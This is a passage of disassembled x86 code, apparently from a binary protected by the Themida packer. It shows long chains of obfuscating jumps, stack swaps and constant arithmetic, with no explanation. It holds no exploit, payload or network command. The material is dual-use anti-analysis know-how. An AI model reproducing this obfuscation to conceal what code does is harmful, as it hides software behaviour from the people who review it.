loc_5657E6 ; --------------------------------------------------------------------------- loc_56E4A4: ; CODE XREF: sub_562ABA+8D8Cj add ecx, 4 jmp loc_5645BF ; --------------------------------------------------------------------------- loc_56E4AF: ; CODE XREF: sub_562ABA-A16j sub eax, ebx pop ebx add eax, 53C9494Bh mov ebp, [esp+0Ah+var_C+2] add esp, 4 push small word ptr [eax] jmp loc_572256 ; --------------------------------------------------------------------------- loc_56E4C8: ; CODE XREF: sub_562ABA+34DAj mov [esp+1Ah+var_1A], ebx jmp loc_567E8F ; --------------------------------------------------------------------------- loc_56E4D0: ; CODE XREF: sub_562ABA+56C9j shl ebx, 7 sub ebx, 43D1DDD7h sub eax, ebx jmp loc_5699C1 ; --------------------------------------------------------------------------- loc_56E4E0: ; CODE XREF: sub_562ABA+3765j add al, 0AEh pop bx pop ecx jmp loc_55FF8E ; --------------------------------------------------------------------------- loc_56E4EA: ; CODE XREF: sub_562ABA+957Dj mov esi, edi pop edi and esi, 6FC47E0Dh push edx mov edx, 36B91EC6h or esi, edx pop edx jmp loc_56E107 ; --------------------------------------------------------------------------- loc_56E501: ; CODE XREF: sub_562ABA+95E9j shl edx, 5 add edx, 1 push esi jmp loc_56ABA5 ; --------------------------------------------------------------------------- loc_56E510: ; CODE XREF: sub_562ABA+2DC4j add esp, 4 add ecx, ebx push [esp-10h+arg_C] pop ebx jmp loc_56FAA7 ; --------------------------------------------------------------------------- loc_56E51E: ; CODE XREF: sub_562ABA-967j push 62007790h mov edi, [esp+16h+var_16] add esp, 4 jmp loc_56F16E ; --------------------------------------------------------------------------- loc_56E52E: ; CODE XREF: sub_562ABA+51BBj mov [esp+46h+var_46], eax push edx jmp loc_566425 ; --------------------------------------------------------------------------- loc_56E537: ; CODE XREF: sub_562ABA+58F0j pop esp pop [esp+26h+var_28+2] not ebp push 72EBh mov [esp+26h+var_28+2], ebp push [esp+26h+var_22] push [esp+2Ah+var_2C+2] pop ebp add esp, 4 pop [esp+26h+var_28+2] push [esp+22h+var_22] pop eax push eax push esp mov eax, [esp+2Ah+var_2C+2] jmp loc_571811 ; --------------------------------------------------------------------------- loc_56E561: ; CODE XREF: sub_562ABA+B626j add ebp, edi add ebp, 3BAD527Ah pop edi jmp loc_56676E ; --------------------------------------------------------------------------- loc_56E56F: ; CODE XREF: sub_562ABA+ABB3j add eax, ebx pop ebx add eax, 0FAB5F682h jmp loc_56F836 ; --------------------------------------------------------------------------- loc_56E57C: ; CODE XREF: sub_562ABA-3A5Dj pop edx jmp loc_564CB7 ; --------------------------------------------------------------------------- loc_56E582: ; CODE XREF: sub_562ABA+94AFj mov [esp+1Eh+var_1E], edi mov edi, 2 jmp loc_5634C0 ; --------------------------------------------------------------------------- loc_56E58F: ; CODE XREF: sub_562ABA+766Aj pop edx pop dword ptr [edx+30h] jmp loc_55E335 ; --------------------------------------------------------------------------- loc_56E598: ; CODE XREF: sub_562ABA-228Fj mov [esp+3Ah+var_3A], ebx mov ebx, 64D0243Dh and edi, ebx jmp loc_560D1F ; --------------------------------------------------------------------------- loc_56E5A7: ; CODE XREF: sub_562ABA+F5BFj mov ah, 5Ah mov cl, ah pop eax mov dh, 0F3h add dh, cl push [esp+36h+var_36] pop ecx push ecx mov ecx, esp add ecx, 4 add ecx, 4 xor ecx, [esp+3Ah+var_3A] xor [esp+3Ah+var_3A], ecx xor ecx, [esp+3Ah+var_3A] mov esp, [esp+3Ah+var_3A] xor ah, dh jmp loc_56F014 ; --------------------------------------------------------------------------- loc_56E5D6: ; CODE XREF: Themida_:00560831j add al, 93h add al, 11h add al, bl sub al, 11h sub esp, 4 mov [esp+3Eh+var_3E], ecx mov ch, 6Ah add ch, 0FFh xchg dl, ch not dl xchg dl, ch jmp loc_56DA0E ; --------------------------------------------------------------------------- loc_56E5F4: ; CODE XREF: sub_562ABA+7749j add esp, 4 add esp, 4 push esi push [esp+24h+var_22+2] push [esp+28h+var_28] pop esi add esp, 4 pop dword ptr [esp+0] jmp loc_5609AD ; --------------------------------------------------------------------------- loc_56E614: ; CODE XREF: sub_562ABA+3B3j not ecx add ecx, 11F24A22h mov edx, ecx pop ecx add edx, 0FFFFFFFFh dec edx add edx, 0E82FDD65h jmp loc_565C1C ; --------------------------------------------------------------------------- db 66h, 8Bh, 4 dd 4EC8324h, 68240489h, 9F0h, 0FF0947E9h db 0FFh ; --------------------------------------------------------------------------- loc_56E645: ; CODE XREF: sub_562ABA-4710j xchg ebx, esi not ebx xchg ebx, esi push edi mov edi, 4A1C423Ah jmp loc_56C4D5 ; --------------------------------------------------------------------------- loc_56E656: ; CODE XREF: sub_562ABA+CC82j xchg edx, [esp+0] jmp loc_56AE31 ; --------------------------------------------------------------------------- loc_56E65E: ; CODE XREF: sub_562ABA-3F6Bj sub ebp, 286210BDh push ecx mov ecx, 7EBF1BAEh sub ecx, 157B228h add edi, ecx pop ecx jmp loc_56C81D ; --------------------------------------------------------------------------- loc_56E678: ; CODE XREF: sub_562ABA-12FFj mov dl, ah jmp loc_56D7E1 ; --------------------------------------------------------------------------- loc_56E67F: ; CODE XREF: sub_562ABA+7030j mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp+3Eh+var_3E] pop esp sub esp, 4 mov [esp+3Eh+var_3E], ebp push esp pop ebp jmp loc_5632E3 ; --------------------------------------------------------------------------- loc_56E69B: ; CODE XREF: sub_562ABA+AA57j push edx push esi mov esi, 68391DC0h jmp loc_56ACE0 ; --------------------------------------------------------------------------- loc_56E6A7: ; CODE XREF: sub_562ABA+DE31j mov esp, [esp+2Ah+var_2C+2] mov [esp+2Ah+var_2C+2], edi mov edi, esp sub esp, 4 mov [esp+0], esi push edi mov edi, 400B7537h mov esi, 2030F79h xor esi, edi mov edi, [esp+32h+var_32] push edi mov edi, esp add edi, 4 add edi, 4 push edi push [esp+3Ah+var_36] jmp loc_56F52B ; --------------------------------------------------------------------------- loc_56E6DE: ; CODE XREF: sub_562ABA+4DCj mov eax, ebp pop ebp sub eax, 1 jmp loc_56698D ; --------------------------------------------------------------------------- loc_56E6EB: ; CODE XREF: sub_562ABA+5577j add esp, 4 pop dword ptr [esp+0] mov esp, [esp+0Ah+var_C+2] test ecx, eax pushf jmp loc_55E09F ; --------------------------------------------------------------------------- loc_56E6FC: ; CODE XREF: sub_562ABA+F60Ej pop edx xchg esi, [esp+0Ah+var_C+2] pop esp xor bl, al movzx eax, al jmp loc_56F24E ; --------------------------------------------------------------------------- loc_56E70B: ; CODE XREF: sub_562ABA+B985j add edx, 4 push eax jmp loc_570459 ; --------------------------------------------------------------------------- loc_56E717: ; CODE XREF: sub_562ABA-4077j pop edx not edx jmp loc_56A792 ; --------------------------------------------------------------------------- loc_56E71F: ; CODE XREF: sub_562ABA+31B4j and ebx, 2F4B45E9h and ebx, 1BEE0192h sub ebx, 0FFFFFFFFh not ebx jmp loc_56FCEA ; --------------------------------------------------------------------------- loc_56E735: ; CODE XREF: sub_562ABA+A2F3j push eax jmp loc_5663C4 ; --------------------------------------------------------------------------- loc_56E73B: ; CODE XREF: sub_562ABA-2833j add edx, esi mov esi, [esp+0] jmp loc_56F971 ; --------------------------------------------------------------------------- loc_56E745: ; CODE XREF: sub_562ABA+2E3Ej mov ecx, 969344F6h sub esi, 679C4622h sub esi, 55637392h add esi, ecx add esi, 55637392h add esi, 679C4622h pop ecx add ebp, esi pop esi add ebp, ebx sub ebp, 3D187776h push [esp+36h+var_36] jmp loc_571DC6 ; --------------------------------------------------------------------------- loc_56E778: ; CODE XREF: sub_562ABA-27ACj pop eax retn ; --------------------------------------------------------------------------- jmp loc_55E09F ; --------------------------------------------------------------------------- loc_56E77F: ; CODE XREF: sub_562ABA+9EDj push 2B10h mov [esp+12h+var_12], ebx mov ebx, 39C3566Eh jmp loc_568894 ; --------------------------------------------------------------------------- loc_56E791: ; CODE XREF: sub_562ABA+5351j add esi, 4556CE5Eh mov ecx, esi jmp loc_5628BC ; --------------------------------------------------------------------------- loc_56E79E: ; CODE XREF: sub_562ABA+D4E0j pop edx add eax, ebp mov ebp, [esp+3Ch+var_3E+2] add esp, 4 xor eax, 0CA167A59h push eax pop ecx pop eax sub esp, 4 mov [esp+38h+var_3A+2], edi mov edi, 7F886E69h jmp loc_55E965 ; --------------------------------------------------------------------------- loc_56E7C5: ; CODE XREF: sub_562ABA+7A51j pop ebx sub edx, 7E2A5C07h add edx, 6FC0735Eh add edx, edi sub edx, 6FC0735Eh jmp loc_570191 ; --------------------------------------------------------------------------- loc_56E7DF: ; CODE XREF: sub_562ABA+AF4Fj push ebx mov bh, cl jmp loc_561009 ; --------------------------------------------------------------------------- loc_56E7E7: ; CODE XREF: sub_562ABA-3A94j mov [esp+0Ah+var_C+2], esi push esp push dword ptr [esp+0] mov esi, [esp+12h+var_12] add esp, 4 push 3503h jmp loc_571728 ; --------------------------------------------------------------------------- loc_56E7FE: ; CODE XREF: sub_562ABA-FA0j mov ecx, 0AAC231BDh sub eax, ecx pop ecx sub esi, eax pop eax add esi, eax push 212Bh mov [esp+0], eax push 35F9h mov [esp+12h+var_12], ebp push 17872477h pop ebp add ebp, 1 add ebp, 81A2DB1h shr ebp, 8 jmp loc_56BCEC ; --------------------------------------------------------------------------- loc_56E835: ; CODE XREF: sub_562ABA-349Fj mov ebx, [esp+6+var_8+2] add esp, 4 jmp loc_5670BF ; --------------------------------------------------------------------------- loc_56E840: ; CODE XREF: sub_562ABA+3301j shl ebp, 8 xor ebp, 982FE666h jmp loc_55F360 ; --------------------------------------------------------------------------- loc_56E84E: ; CODE XREF: sub_562ABA+BFB0j pop esp pop esi push 2CB5h mov [esp-0Ch+arg_8], edi push eax mov eax, 420F1376h jmp loc_56833D ; --------------------------------------------------------------------------- loc_56E863: ; CODE XREF: sub_562ABA+E5CCj mov edi, [esp-8+arg_4] push edx mov edx, esp add edx, 4 push eax push ebx push 684259D1h pop ebx not ebx not ebx or ebx, 4EAF7974h xor ebx, 6EEF79F1h mov eax, ebx pop ebx jmp loc_56BE0B ; --------------------------------------------------------------------------- loc_56E88F: ; CODE XREF: sub_562ABA-33F5j xor edx, 0DE26B35h sub ebx, 34F32C6Fh add ebx, edx add ebx, 34F32C6Fh mov edx, [esp+6+var_8+2] add esp, 4 xchg ebx, [esp+2+var_4+2] mov esp, [esp+2+var_4+2] push 1436h jmp loc_55FCAD ; --------------------------------------------------------------------------- loc_56E8BC: ; CODE XREF: sub_562ABA+8937j mov ebx, 3E576417h sub esi, ebx jmp loc_561CCD ; --------------------------------------------------------------------------- loc_56E8C8: ; CODE XREF: sub_562ABA+A30Fj add esp, 4 push edx push ecx mov cl, 2Fh push 278Ah mov [esp+22h+var_22], ecx mov ch, 3Ch sub ch, 68h dec ch shl ch, 7 add ch, 0B7h neg ch jmp loc_567F45 ; --------------------------------------------------------------------------- loc_56E8EB: ; CODE XREF: sub_562ABA+FD63j push ebp push [esp+26h+var_22] pop ebp jmp loc_570450 ; --------------------------------------------------------------------------- loc_56E8F6: ; CODE XREF: sub_562ABA+84F0j push esp pop ecx push esi mov esi, 18B40163h or esi, 2EEC75A6h add esi, 2261068h inc esi jmp loc_56614F ; --------------------------------------------------------------------------- loc_56E910: ; CODE XREF: sub_562ABA+6Fj pop edx push 47F5h mov [esp+1Ah+var_1A], ebp mov ebp, 4 add edx, ebp pop ebp push 1F4Ch jmp loc_562642 ; --------------------------------------------------------------------------- loc_56E92B: ; CODE XREF: sub_562ABA+5BBj pop esp jmp loc_5608DD ; --------------------------------------------------------------------------- loc_56E931: ; CODE XREF: sub_562ABA+86D9j not edx jmp loc_563DB9 ; --------------------------------------------------------------------------- loc_56E938: ; CODE XREF: sub_562ABA-4B4j pop ebx xor dl, cl pop ecx dec dl shl dl, 6 shl dl, 3 jmp loc_56085F ; --------------------------------------------------------------------------- movzx ax, byte ptr fs:[edx] jmp loc_563264 ; --------------------------------------------------------------------------- loc_56E953: ; CODE XREF: sub_562ABA+31A4j xor esi, edx pop edx push esi jmp loc_571605 ; --------------------------------------------------------------------------- loc_56E95C: ; CODE XREF: sub_562ABA+54EDj add edi, 2A1D1B17h push edi add dword ptr [esp+0], 5A467575h pop ebp sub ebp, 5A467575h mov edi, [esp+0Ah+var_C+2] add esp, 4 push ebx mov ebx, 5B88179Fh jmp loc_56902A ; --------------------------------------------------------------------------- loc_56E982: ; CODE XREF: sub_562ABA+DFE8j push eax push [esp+0Eh+var_C+2] pop eax pop dword ptr [esp+0] mov esp, [esp+0Ah+var_C+2] push ebp push esp mov ebp, [esp+12h+var_12] jmp loc_56C05B ; --------------------------------------------------------------------------- loc_56E998: ; CODE XREF: sub_562ABA+A1E0j xor ecx, 58F11893h add eax, 5D7C4B6Ch add eax, ecx sub eax, 5D7C4B6Ch pop ecx shl eax, 1 jmp loc_56E321 ; --------------------------------------------------------------------------- loc_56E9B2: ; CODE XREF: sub_562ABA-3ACBj pop ecx push edx push [esp+0Ah+var_8+2] mov edx, [esp+0] add esp, 4 pop [esp+0Ah+var_C+2] jmp loc_56552E ; --------------------------------------------------------------------------- loc_56E9C9: ; CODE XREF: sub_562ABA+200Bj mov [esp+22h+var_22], edi jmp loc_57176F ; --------------------------------------------------------------------------- loc_56E9D1: ; CODE XREF: sub_562ABA-369Cj xor ecx, 8A0C045h add ebx, ecx mov ecx, [esp+22h+var_22] add esp, 4 add ebx, 2 xchg ebx, [esp+1Eh+var_1E] mov esp, [esp+1Eh+var_1E] jmp loc_570A8E ; --------------------------------------------------------------------------- loc_56E9F0: ; CODE XREF: sub_562ABA+9680j mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp+26h+var_28+2] pop esp jmp loc_56476D ; --------------------------------------------------------------------------- loc_56EA05: ; CODE XREF: sub_562ABA+B44Aj push 7504h mov [esp+0], edx mov edx, 431E60A0h add [esp+2Eh+var_2C+2], edx mov edx, [esp+0] add esp, 4 mov ecx, [esp+2Ah+var_2C+2] jmp loc_562CB4 ; --------------------------------------------------------------------------- loc_56EA27: ; CODE XREF: sub_562ABA+6182j not edi xor edi, ebp xor ebp, edi xor edi, ebp not ebp push edi push ebp jmp loc_56C517 ; --------------------------------------------------------------------------- loc_56EA38: ; CODE XREF: sub_562ABA+8A05j mov edx, 15C46014h push ebp jmp loc_56AEA6 ; --------------------------------------------------------------------------- loc_56EA43: ; CODE XREF: sub_562ABA-27D1j push edx mov edx, eax mov ebp, edx pop edx mov eax, [esp+12h+var_12] push eax mov eax, esp push edx mov edx, 2B824DE9h add edx, 174E1ADDh sub edx, 42D068C2h add eax, edx pop edx add eax, 4 xchg eax, [esp+16h+var_16] jmp loc_56E84E ; --------------------------------------------------------------------------- mov cx, word ptr [esp+16h+var_16] push edi sub esp, 4 push esp pop [esp+22h+var_22] push edi mov edi, 4 add [esp+22h+var_1E], edi pop edi push [esp+1Eh+var_1E] jmp loc_55ECE0 ; --------------------------------------------------------------------------- loc_56EA91: ; CODE XREF: sub_562ABA+4600j mov dh, 0BFh mov cl, 0FBh xor cl, dh mov edx, [esp+3Eh+var_3E] add esp, 4 mov dl, 87h jmp loc_56BA6F ; --------------------------------------------------------------------------- loc_56EAA4: ; CODE XREF: sub_562ABA+32B9j sub esp, 4 mov [esp-8+arg_4], edi mov edi, 72B500B4h push esi jmp loc_569782 ; --------------------------------------------------------------------------- loc_56EAB5: ; CODE XREF: sub_562ABA+FF0Aj add edi, 0D92C49h pop ebx sub esp, 4 mov [esp-4+arg_0], ebx mov ebx, 5B2B15D2h xor ebx, 44E248FDh xor ebx, 57B915F9h dec ebx not ebx add ebx, 0A39F4E57h add edx, ebx mov ebx, [esp-4+arg_0] jmp loc_569FD6 ; --------------------------------------------------------------------------- loc_56EAE6: ; CODE XREF: sub_562ABA+F4C9j push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp+0] pop esp pop [esp-4+arg_0] jmp loc_5679B1 ; --------------------------------------------------------------------------- loc_56EB01: ; CODE XREF: sub_562ABA-3BB6j xor edx, edi xor edi, edx jmp loc_568BED ; --------------------------------------------------------------------------- loc_56EB0A: ; CODE XREF: sub_562ABA+FF2Dj mov edx, 4 mov ebp, edx jmp loc_572686 ; --------------------------------------------------------------------------- loc_56EB16: ; CODE XREF: sub_562ABA+4F80j xchg ebp, [esp-6+arg_0+2] jmp loc_571A94 ; --------------------------------------------------------------------------- loc_56EB1E: ; CODE XREF: sub_562ABA+8887j pop esi add esi, 4 push ecx mov ecx, 2 sub esi, ecx pop ecx xchg esi, [esp+0] mov esp, [esp+0] jmp loc_565E4C ; --------------------------------------------------------------------------- loc_56EB39: ; CODE XREF: sub_562ABA+17E5j mov [esp+16h+var_16], ebx mov ebx, 4 add eax, ebx push [esp+16h+var_16] jmp loc_56A157 ; --------------------------------------------------------------------------- loc_56EB4B: ; CODE XREF: sub_562ABA-195j pop ecx jmp loc_568942 ; --------------------------------------------------------------------------- loc_56EB51: ; CODE XREF: sub_562ABA-49Cj add esp, 4 push 482Ah mov [esp+1Eh+var_1E], edx mov dh, 0A8h xor bl, dh jmp loc_563AB4 ; --------------------------------------------------------------------------- loc_56EB65: ; CODE XREF: sub_562ABA+1F73j xor ebx, [esp-10h+arg_C] xor [esp-10h+arg_C], ebx xor ebx, [esp-10h+arg_C] jmp loc_56C47C ; --------------------------------------------------------------------------- loc_56EB73: ; CODE XREF: sub_562ABA+ABE6j mov ch, 2Fh xor ch, bl pop ebx jmp loc_56EEFC ; --------------------------------------------------------------------------- loc_56EB7D: ; CODE XREF: sub_562ABA+95C8j push edx mov edx, 68966F56h sub ecx, edx pop edx pop esi xchg ecx, [esp+12h+var_12] mov esp, [esp+12h+var_12] push 3A7h mov [esp+16h+var_16], ebp mov ebp, 574704F4h shr ebp, 5 push eax mov eax, 1A8C160Ah add eax, 65D31CF8h xor eax, 449B2BF4h add eax, 7A7234EAh sub ebp, eax pop eax push ebx push 7F5E01D4h pop ebx add ebx, 782651EDh jmp loc_55E9BF ; --------------------------------------------------------------------------- loc_56EBC7: ; CODE XREF: sub_562ABA-40CAj xor esi, [esp+1Ah+var_1A] mov esp, [esp+1Ah+var_1A] sub esp, 4 mov [esp+1Eh+var_1E], edi mov edi, 4000h and eax, edi jmp loc_56B38E ; --------------------------------------------------------------------------- loc_56EBDF: ; CODE XREF: sub_562ABA+7FA8j pop edx dec edi shr edi, 5 sub edi, 1 sub edi, 0F9E929BFh push edi sub [esp+12h+var_12], 38F6E86h pop eax push edi mov edi, 5A52605Eh and edi, 5F0376Eh add edi, 4D28368Bh sub edi, 49E8E853h add eax, edi jmp loc_570337 ; --------------------------------------------------------------------------- loc_56EC18: ; CODE XREF: sub_562ABA+E467j add esp, 4 push edx push 7825h mov [esp+16h+var_16], eax mov eax, 4 mov edx, eax mov eax, [esp+16h+var_16] add esp, 4 add ebp, 15AE5318h add ebp, edx sub ebp, 15AE5318h mov edx, [esp+12h+var_12] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xor ebp, [esp+16h+var_16] xor [esp+16h+var_16], ebp xor ebp, [esp+16h+var_16] pop esp jmp loc_5724E5 ; --------------------------------------------------------------------------- loc_56EC5D: ; CODE XREF: sub_562ABA+2407j push edx jmp loc_56DF2E ; --------------------------------------------------------------------------- loc_56EC63: ; CODE XREF: sub_562ABA+2625j pop eax pop edx xor bh, 2Bh jmp loc_55E8B9 ; --------------------------------------------------------------------------- loc_56EC6D: ; CODE XREF: sub_562ABA+6341j pop ecx jmp loc_562E4B ; --------------------------------------------------------------------------- loc_56EC73: ; CODE XREF: sub_562ABA+5957j sub ebx, 33AE6F0Fh jmp loc_56671C ; --------------------------------------------------------------------------- loc_56EC7E: ; CODE XREF: sub_562ABA-B60j pop esi shl edi, 4 jmp loc_56E3D3 ; --------------------------------------------------------------------------- loc_56EC87: ; CODE XREF: sub_562ABA+381Fj push 5AADh mov [esp+2Ah+var_2C+2], ebp push ebx jmp loc_566315 ; --------------------------------------------------------------------------- loc_56EC95: ; CODE XREF: sub_562ABA+217Fj pop eax add esp, 4 add eax, esi pop esi add ebx, eax pop eax add ebx, esi push ebp push ecx mov ecx, 0CEA6D32h sub ecx, 2CA20635h sub ecx, 0FFFFFFFFh not ecx jmp loc_564A78 ; --------------------------------------------------------------------------- loc_56ECB8: ; CODE XREF: sub_562ABA+D1Bj pop esi xor edx, [esp+1Ah+var_1A] xor [esp+1Ah+var_1A], edx xor edx, [esp+1Ah+var_1A] mov esp, [esp+1Ah+var_1A] jmp loc_56F7C2 ; --------------------------------------------------------------------------- loc_56ECCA: ; CODE XREF: sub_562ABA-429Dj sub eax, ecx pop ecx push [esp+16h+var_16] pop ecx jmp loc_56899F ; --------------------------------------------------------------------------- loc_56ECD6: ; CODE XREF: sub_562ABA-3B58j mov ebp, [esp+0] add esp, 4 push 17CAh mov [esp+0], edi mov edi, esp add edi, 4 add edi, 4 push edi push dword ptr [esp+4] pop edi pop [esp+32h+var_32] pop esp push ebp jmp loc_56BB66 ; --------------------------------------------------------------------------- loc_56ED05: ; CODE XREF: sub_562ABA+CA3Cj mov [esp+0], eax mov eax, esp add eax, 4 jmp loc_57227F ; --------------------------------------------------------------------------- loc_56ED14: ; CODE XREF: sub_562ABA+CCA5j add ebp, ebx pop ebx push edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp+0] pop esp mov [esp+2Ah+var_2C+2], ebp push [esp+2Ah+var_28+2] mov ebp, [esp+0] add esp, 4 pop [esp+2Ah+var_2C+2] mov esp, [esp+26h+var_28+2] mov ax, word ptr [esp+26h+var_28+2] push edi sub esp, 4 jmp loc_563750 ; --------------------------------------------------------------------------- loc_56ED4A: ; CODE XREF: sub_562ABA-241Ej sub esp, 4 mov [esp-8+arg_4], ebx mov bl, 80h sub cl, bl pop ebx sub bl, 52h push ecx mov cl, 0B2h jmp loc_562BFF ; --------------------------------------------------------------------------- loc_56ED60: ; CODE XREF: sub_562ABA+1639j sub esp, 4 mov [esp+16h+var_16], ecx push 3C62h mov [esp+1Ah+var_1A], esi jmp loc_5640C3 ; --------------------------------------------------------------------------- loc_56ED76: ; CODE XREF: sub_562ABA-119Ej mov ecx, 6C452E19h or ecx, 7D3D7F16h jmp loc_562E63 ; --------------------------------------------------------------------------- loc_56ED86: ; CODE XREF: sub_562ABA-41EEj sub bl, 9Bh add bl, ch add bl, 9Bh jmp loc_569D34 ; --------------------------------------------------------------------------- loc_56ED93: ; CODE XREF: sub_562ABA-141j mov edx, 61184525h and edx, 682850FAh inc edx or edx, 6C733584h push ebp mov ebp, 717664D7h and edx, ebp pop ebp jmp loc_5609D6 ; --------------------------------------------------------------------------- loc_56EDB3: ; CODE XREF: sub_562ABA+67F4j push esp pop ebp add ebp, 4 sub ebp, 4 xor ebp, [esp+0] xor [esp+0], ebp jmp loc_5706FA ; --------------------------------------------------------------------------- loc_56EDC9: ; CODE XREF: sub_562ABA+861Bj push ebx mov ebx, 36CE05DBh jmp loc_56DFB3 ; --------------------------------------------------------------------------- loc_56EDD4: ; CODE XREF: sub_562ABA+941Ej mov ebp, [esp+0] add esp, 4 pop esi sub ebx, 75574E6h sub ebx, eax add ebx, 75574E6h push edi mov edi, 12AA648Fh jmp loc_56A6ED ; --------------------------------------------------------------------------- loc_56EDF7: ; CODE XREF: sub_562ABA+F839j xchg edx, [esp+2Ah+var_2C+2] pop esp push 2022h mov [esp+2Ah+var_2C+2], ebx mov ebx, 4 add eax, 18AF5F19h add eax, ebx sub eax, 18AF5F19h push [esp+2Ah+var_2C+2] pop ebx push eax mov eax, esp add eax, 4 push 470Eh mov [esp+32h+var_32], ebx mov ebx, 4 jmp loc_56658E ; --------------------------------------------------------------------------- loc_56EE32: ; CODE XREF: sub_562ABA+1AF5j sub esi, 1 sub esi, 0FD98604Fh xor eax, esi mov esi, [esp+0] jmp loc_5693A4 ; --------------------------------------------------------------------------- loc_56EE45: ; CODE XREF: sub_562ABA+A9C3j pop ecx add ebx, edx pop edx add ebx, 4 sub esp, 4 mov [esp+20h+var_22+2], ebx push [esp+20h+var_1E+2] jmp loc_5608FB ; --------------------------------------------------------------------------- loc_56EE5B: ; CODE XREF: sub_562ABA+3028j mov al, 55h mov bh, al mov eax, [esp+54h+var_56+2] add esp, 4 jmp loc_56C589 ; --------------------------------------------------------------------------- loc_56EE6A: ; CODE XREF: sub_562ABA+B0E9j add ebp, 4 jmp loc_56D00A ; --------------------------------------------------------------------------- loc_56EE75: ; CODE XREF: sub_562ABA+5701j push [esp-8+arg_4] pop ebp sub esp, 4 jmp loc_56C97A ; --------------------------------------------------------------------------- loc_56EE81: ; CODE XREF: sub_562ABA-3CDj push [esp+0Ah+var_C+2] pop edi add esp, 4 xor ebx, [esp+6+var_8+2] xor [esp+6+var_8+2], ebx xor ebx, [esp+6+var_8+2] jmp loc_56BDD6 ; --------------------------------------------------------------------------- loc_56EE96: ; CODE XREF: sub_562ABA-535j add esp, 2 add al, bl push ecx mov cl, 0C6h dec cl not cl and cl, 0D1h sub cl, 49h inc cl add cl, 2Fh add al, 0D1h sub al, cl push 0CB9h mov [esp+32h+var_32], ebx mov bl, 40h shl bl, 1 not bl or bl, 0C3h and bl, 0BCh jmp loc_569E78 ; --------------------------------------------------------------------------- loc_56EECA: ; CODE XREF: sub_562ABA+CA51j pop ecx jmp loc_56AC3A ; --------------------------------------------------------------------------- loc_56EED0: ; CODE XREF: sub_562ABA+B398j push [esp+14h+var_16+2] jmp loc_56D7BE ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop eax sbb [esp+14h+var_16+2], eax pushf jmp loc_55E09F ; --------------------------------------------------------------------------- loc_56EEE6: ; CODE XREF: sub_562ABA+2E49j mov ebx, [esp+46h+var_46] jmp loc_56A5B0 ; --------------------------------------------------------------------------- loc_56EEEE: ; CODE XREF: sub_562ABA+C809j mov esi, [esp+46h+var_46] add esp, 4 jmp loc_564737 ; --------------------------------------------------------------------------- loc_56EEFC: ; CODE XREF: sub_562ABA+C0BEj push ecx jmp loc_562AA3 ; --------------------------------------------------------------------------- loc_56EF02: ; CODE XREF: sub_562ABA+5C26j push 3870h mov [esp+6+var_8+2], esi mov esi, 1049033Ch xor esi, 10490338h add eax, 27ED762Bh add eax, esi sub eax, 27ED762Bh pop esi push edi push 4 pop edi add eax, 347A5096h add eax, edi sub eax, 347A5096h pop edi xchg eax, [esp+2+var_4+2] mov esp, [esp+2+var_4+2] push ecx mov ecx, 4 sub edx, ecx pop ecx xor edx, [esp+2+var_4+2] xor [esp+2+var_4+2], edx xor edx, [esp+2+var_4+2] jmp loc_5643D8 ; --------------------------------------------------------------------------- loc_56EF53: ; CODE XREF: sub_562ABA+3F32j add ebx, ebp pop ebp xor ebx, [esp+28h+var_28] xor [esp+28h+var_28], ebx xor ebx, [esp+28h+var_28] mov esp, [esp+28h+var_28] jmp loc_566F1E ; --------------------------------------------------------------------------- loc_56EF67: ; DATA XREF: Themida_:0055DDC8o push [esp+28h+var_28] push [esp+2Ch+var_2C] mov eax, [esp+30h+var_32+2] add esp, 4 push edx mov edx, esp add edx, 4 push 6A02h mov [esp+34h+var_36+2], ebx push edi push 741B61BBh pop edi neg edi neg edi dec edi jmp loc_564ED0 ; --------------------------------------------------------------------------- loc_56EF95: ; CODE XREF: sub_562ABA-2169j push esp mov edx, [esp+3Eh+var_3E] add esp, 4 add edx, 4 push eax mov eax, 4 jmp loc_56336D ; --------------------------------------------------------------------------- loc_56EFB0: ; CODE XREF: sub_562ABA+6270j push 5E14h mov [esp+12h+var_12], edx push ecx push edx mov edx, 52B04DC8h jmp loc_564501 ; --------------------------------------------------------------------------- loc_56EFC4: ; CODE XREF: sub_562ABA+1B70j pop ebp add esp, 4 push esi mov esi, 6FD826D9h and ebx, esi pop esi and ebx, 0F542CCBh jmp loc_56D7A5 ; --------------------------------------------------------------------------- loc_56EFDC: ; CODE XREF: sub_562ABA+869Dj and ecx, eax pop eax shr ecx, 2 jmp loc_562A96 ; --------------------------------------------------------------------------- loc_56EFE7: ; CODE XREF: sub_562ABA+414Bj xor ebx, ebp push dword ptr [esp+0] pop ebp add esp, 4 sub eax, 31FF1F46h add eax, ebx add eax, 31FF1F46h mov ebx, [esp+2Ah+var_2C+2] add esp, 4 push ebp jmp loc_571180 ; --------------------------------------------------------------------------- loc_56F00B: ; CODE XREF: sub_562ABA-1440j mov esp, [esp+0] pop ecx jmp loc_55E482 ; --------------------------------------------------------------------------- loc_56F014: ; CODE XREF: sub_562ABA+BB17j mov dx, word ptr [esp+3Ah+var_3A] add esp, 2 mov bl, ah pop eax jmp loc_5648D1 ; --------------------------------------------------------------------------- loc_56F026: ; CODE XREF: sub_562ABA+E084j mov ebp, 0CDB624D9h add ebp, edx mov edx, [esp+32h+var_32] add esp, 4 jmp loc_55EDA6 ; --------------------------------------------------------------------------- loc_56F03B: ; CODE XREF: sub_562ABA+70BFj mov ebp, edx mov edx, [esp+2+var_4+2] add esp, 4 sub edi, 720E5A59h jmp loc_560085 ; --------------------------------------------------------------------------- mov cx, [esp+0] jmp loc_572899 ; --------------------------------------------------------------------------- loc_56F05A: ; CODE XREF: sub_562ABA+5E55j add ebx, 7FC2171Ah add ebp, ebx pop ebx sub eax, ebp pop ebp add eax, edi add eax, 35A23E12h push dword ptr [eax] push ecx mov ecx, 2FC85DDDh xor [esp+3Ch+var_3A+2], ecx pop ecx mov ecx, [esp+38h+var_3A+2] push ebp mov ebp, esp push eax mov eax, 61831991h and eax, 15623239h shl eax, 5 sub eax, 2042021Ch add ebp, eax pop eax push edx mov edx, 4 add ebp, 591804F6h sub ebp, 1C5E4F2Dh add ebp, edx add ebp, 1C5E4F2Dh sub ebp, 591804F6h mov edx, [esp+40h+var_42+2] add esp, 4 xchg ebp, [esp+3Ch+var_3E+2] pop esp xor ecx, 2FC85DDDh jmp loc_56E3D9 ; 